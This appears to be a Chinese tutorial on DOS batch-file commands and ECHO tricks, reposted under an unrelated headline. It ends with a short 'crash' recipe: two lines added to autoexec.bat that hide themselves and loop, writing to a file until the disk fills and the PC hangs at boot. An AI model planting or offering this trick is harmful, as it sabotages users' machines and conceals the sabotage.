金庸无双2沧海炼狱血脉:DOS批处理文件

来源:百度文库 编辑:九乡新闻网 时间:2024/04/28 07:40:24

DOS批处理文件

DOS下的可执行文件有三种,分别是EXE,COM和BAT。其中,EXE和COM文件都是二进制形式的,只有BAT文件是文本形式的,可以直接阅读。因此,BAT文件和以上二进制可执行文件相比,内容要简单的多。这些文件内包含着DOS命令的集合,通常叫作批处理文件。批处理文件的组成虽然比较简单,但其用处非常大,使用也比较广泛。比如每次都执行一些相同的命令,您一定会觉得非常麻烦,而放在批处理文件中执行的话则轻松得多。AUTOEXEC.BAT就是一个特殊的批处理文件,它在DOS的启动时自动运行,在系统的配置中发挥着非常大的作用。因此,要学好DOS,就要学好批处理文件。下面介绍批处理文件的命令及其使用。

 

DOS自带的批处理命令

 

@:将这个符号放在批文件中其它命令的前面,运行时将不显示命令本身。

如@ECHO OFF命令就在批文件首经常用到。

 

CALL:从一个批文件中调用另一个批文件,调用完后继续执行原来的批文件。

用法:CALL [批文件名]

注:也可以使用COMMAND /C命令完成同样的操作。

 

CHOICE:选择命令。这是一个DOS外部命令,但它主要用在批文件中。

CHOICE命令执行后将提示可选择的项目,这时通过一个按键来选则。

用法:CHOICE:[/C[:]按键表] [/N] [/S] [/T[:]选择值,秒数] [显示文本]

其中,/C表示可选则的按键,/N表示不要显示提示信息,/S表示大小写字符敏感方式,/T表示若在批定的时间内没有选则的话,自动执行/C中定义的某个选择值。显示文本是CHOICE命令执行时的提示信息。选择结果将用ERRORLEVEL值来表示。

 

ECHO:显示指定的信息。通常显示在屏幕上。

如ECHO Hello将在屏幕上显示Hello的字样。

另外,ECHO ON|OFF用来设置在批文件执行时是否显示命令本身。而ECHO OFF与@的意思一样,但它是一个单独的命令,而不能像@那样放在其它命令之前。

 

FOR:对于指定的文件运行相应的命令。

大家知道,DOS下许多命令支持通配符,如?和*,可以一次指定一批文件,非常方便。然而,并非所有的DOS命令都支持通配符,如TYPE(文件内容显示命令)就不支持。有了FOR命令就没有关系了,利于它可以使TYPE命令可以一次显示多个文件。

用法:FOR %变量名 IN (文件集) DO 命令 [命令参数]

注:以上是FOR命令的固定形式,IN和DO的位置必须正确,否则将提示语法错误。

如FOR %F IN (*.*) DO TYPE %F命令就可以实现TYPE命令一次显示多个文件。

注:%F是变量名,也可用%G等代替,但前后必须一致。在批文件中用%%F代替。

 

GOTO:转到批文件内部的某个标号下执行。

大家知道,在编程中往往需要重复或跳转到某个地方继续执行,如BASIC语言中的GOTO命令。批文件中的GOTO命令也可以完成类似的功能。

用法:GOTO [标号名]

其中,标号名是可以随意设置的,如Hello等。设置标号用“:”符号,如“:Hello”,这时用GOTO Hello命令将转到“:Hello”所在的位置继续执行批文件。

 

IF:条件判断命令。这是一项很有用的批处理命令。

用法1:IF [NOT] EXIST 文件名 命令 [命令参数]

意义:如果[不]存在某个文件将执行某个命令。

用法2:IF [NOT] ERRORLEVEL 错误返回代号 命令 [命令参数]

意义:如果错误返回代号[不]大于或等于指定的代号将执行某个命令。

其中,ERRORLEVEL表示错误返回代号,很有用。对于很多DOS命令,由于执行的结果不同(如执行成功,执行失败,或被用户中断等),这些命令会返回不同的代号,以表示不同的结果。IF ERRORLEVEL命令就根据这个不同结果而产生的不同代号来执行不同的命令,通常用在某条命令之后。如IF ERRORLEVEL 1 ECHO OK!表示如果当前的错误返回代号大于或等于1时将在屏幕上显示“OK!”的字样。

用法3:IF [NOT] 字符串1==字符串2 命令 [命令参数]

意义:当字符串1和字符串2[不]相等的时候执行某个命令。

 

PAUSE:暂停批文件的执行,并显示“按任意键继续”的字样。

 

REM:添加注解。用于增加文件可读性,将不被执行。也可以用::来代替。

REM TEST

....此命令执行时将显示“File not found”信息,因为它以为filename是一个重定向输入操作的源文件,它在当前目录中找不到。解决问题的办法是将REM改为双冒号“∷”,即:“∷”TEST

 

SHIFT:在批文件中改变可替换参数的位置。

....可替换参数是一种特殊的参数,只能用在批文件中。这些参数是由使用者在执行批处理命令时输入的。比如,我们执行DIR /S /W命令,其中DIR是命令名,/S和/W是它的执行参数。在批文件中,这些命令参数将被分别赋予到可替换参数中,如/S就成的%1,/W就可了%2,以至类推,而命令本身则被赋予%0中。批文件就是利用可替换参数对执行时输入的参数来进行操作的。比如现在有个批处理文件叫MYFILE.BAT,在命令行下执行MYFILE.BAT YES,于是%0的值就是MYFILE.BAT,%1的值就是“YES”,可以在此批文件中用IF等命令判断出%1等参数的值,然后根据这些值的不同执行不同的操作,如IF "%1"=="YES" GOTO YES。

....SHIFT命令不带任何参数,执行结果是将%0的值换成原%1的值,而原%1的值变成的原%2的值,以此类推。注意它的不可逆转性。因为批处理文件执行时的运行参数可能很多,可能会超过10个,而可替换参数只能从%0到%9,若想取得%9以后的参数值,只能使用SHIFT命令。这时,整个参数列将向前推。

 

....以上是DOS的自带批处理命令,可以看出,这些命令是非常少的,若要编写较复杂的程序,用以上的命令显然不可能实现。这时就需要其它实用的批处理工具了,著名且实用的有TESTIF,STRING,ASET,BATCHMAN,WBAT等,均可在“DOS软件分类下载”中的“脚本工具”中下载。在批处理文件中使用以上的工具可以实现非常强大的功能,甚至可以完成许多高级语言程序的功能。所以,如果您想编者按写批处理文件的话,它们是您不错的选择,不仅有详细的文档,而且还在不断发展中。

 

 


ECHO命令的使用

 

1.作为控制批处理命令在执行时是否显示命令行自身的开关

格式:ECHO [ON|OFF]

如果想关闭“ECHO OFF”命令行自身的显示,则需要在该命令行前加上“@”。

 

2.显示当前ECHO设置状态

格式:ECHO

 

3.输出提示信息

格式:ECHO信息内容

上述是ECHO命令常见的三种用法,也是大家熟悉和会用的,但作为DOS命令淘金者你还应该知道下面的技巧:

 

4.关闭DOS命令提示符

在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,提示符才会重新出现。

 

5.输出空行,即相当于输入一个回车

格式:ECHO.

 

值得注意的是命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。另外“.”可以用,:;”/[\]+等任一符号替代。

 

在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:

 

C:\>ECHO.|TIME

ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示的提示画面,出现在屏幕上方。

 


6.答复命令中的提问

格式:ECHO答复语|命令文件名

 

上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入“Y”回车:

 

C:\>ECHO Y|CHKDSK/F

C:\>ECHO Y|DEL A :*.*

 

7.建立新文件或增加文件内容

格式:ECHO 文件内容>文件名

          ECHO 文件内容>>文件名

 

例如:C:\>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件

C:\>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容

C:\TYPE AUTOEXEC.BAT显示该自动批处理文件

@ECHO OFF

C:\CPAV\BOOTSAFE

 

8.向打印机输出打印内容或打印控制码

 

格式:ECHO 打印机控制码>PRN

           ECHO 打印内容>PRN

 

下面的例子是向M-1724打印机输入打印控制码。<Alt>156是按住Alt键在小键盘键入156,类似情况依此类推:

 

C:\>ECHO +156+42+116>PRN(输入下划线命令FS*t)

C:\>ECHO +155@>PRN(输入初始化命令ESC@)

C:\>ECHO.>PRN(换行)

 

9.使喇叭鸣响

C:\>ECHO ^G

 

“^G”是用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响。使用方法是直接将其加入批处理文件中或做成批处理文件调用。

 

10.执行ESC控制序列修改屏幕和键盘设置

我们知道DOS的设备驱动程序ANSI.SYS提供了一套用来修改屏幕和键盘设置的ESC控制序列。如执行下述内容的批处理程序可以把功能键F12定义为DOS命令“DIR/W”,并把屏幕颜色修改为白色字符蓝色背景。

 

@ECHO”←[0;134;”DIR/W”;13p

@ECHO”←[1;37;44m

注:批处理文件中“←”字符的输入方法是在编辑状态下按Alt中小键盘上的27

 


批处理文件的制作

 

下面就要谈批处理文件的制作了。其实制作批处理文件并不难,只要掌握了方法就行了。随着您操作次数的增多,您会觉得越来越容易的。

 

....首先使用一个文本编辑器,如DOS自带的EDIT命令或其它的编辑工具,如PEDIT等新建一个空白文件(当然,用COPY CON命令直接创建也行),然后在其中根据您想完成的功能输入批处理命令。如果您只是想执行一些的DOS命令的集合,则按顺序在每行输入一个DOS命令就行了。但如果您是想完成一些更复杂的操作,就需要以上的批处理命令或上述的批处理工具了。

 

....以下是我原来所编的一个从1%慢慢增加到100%的批处理小程序,大家可以用作参考,以编写自己的程序。

 

@echo off

break off

cls

set c=0

writext 10 1 Wait...

be delay 4

:loop

writext 10 9 %c%%%completed.

count c

if not %c%==101 goto loop

echo.

set c=

kpush /f

break on

 

....其中,用到了WRITEXT,COUNT,BE和KPUSH,这些都是批处理工具。WRITEXT是ECHO的增强工具,可以自定义显示的效果。COUNT是变量的计算工具,如原来C的值为1,执行COUNT C后C的值就为2。BE是个强大的批处理增强工具,在Norton Utilties 8.0中带有。KPUSH是键盘缓冲工具。

 

x 的文件的当机

 

到dos下或用记事本打开C:\下的autoexec.bat文件.

打入下面二行命令. @cd>>x

@%0

 

去掉其它的一些乱七八糟的东西之后:保存!(废话.,@#!)这样就可以了,你不要再做其它的任何事情.

 

下面让我们来讲讲它是怎么工作的呢?

 

@ 符号 表示在dos下面,不显示后面的命令(把自己的危险指令掩藏起来,就神不知鬼不觉了).

cd>>x 就是把当前的目录拷贝成一个叫做x的文件.

%0 是指不断的重复这条指令.

 

叫做 x 的文件就会越来越慢,直到填满了整个硬盘.那么你的电脑一定就会当机了.

 

而且你重新启动后只会看到:

 

Starting MS-DOS...

 

之后就会死机了,不接受任何指令.要去掉它,只要用软盘启动,或跳过AUTOEXEC.BAT文件的执行.再把上面的指令给去除掉就行了.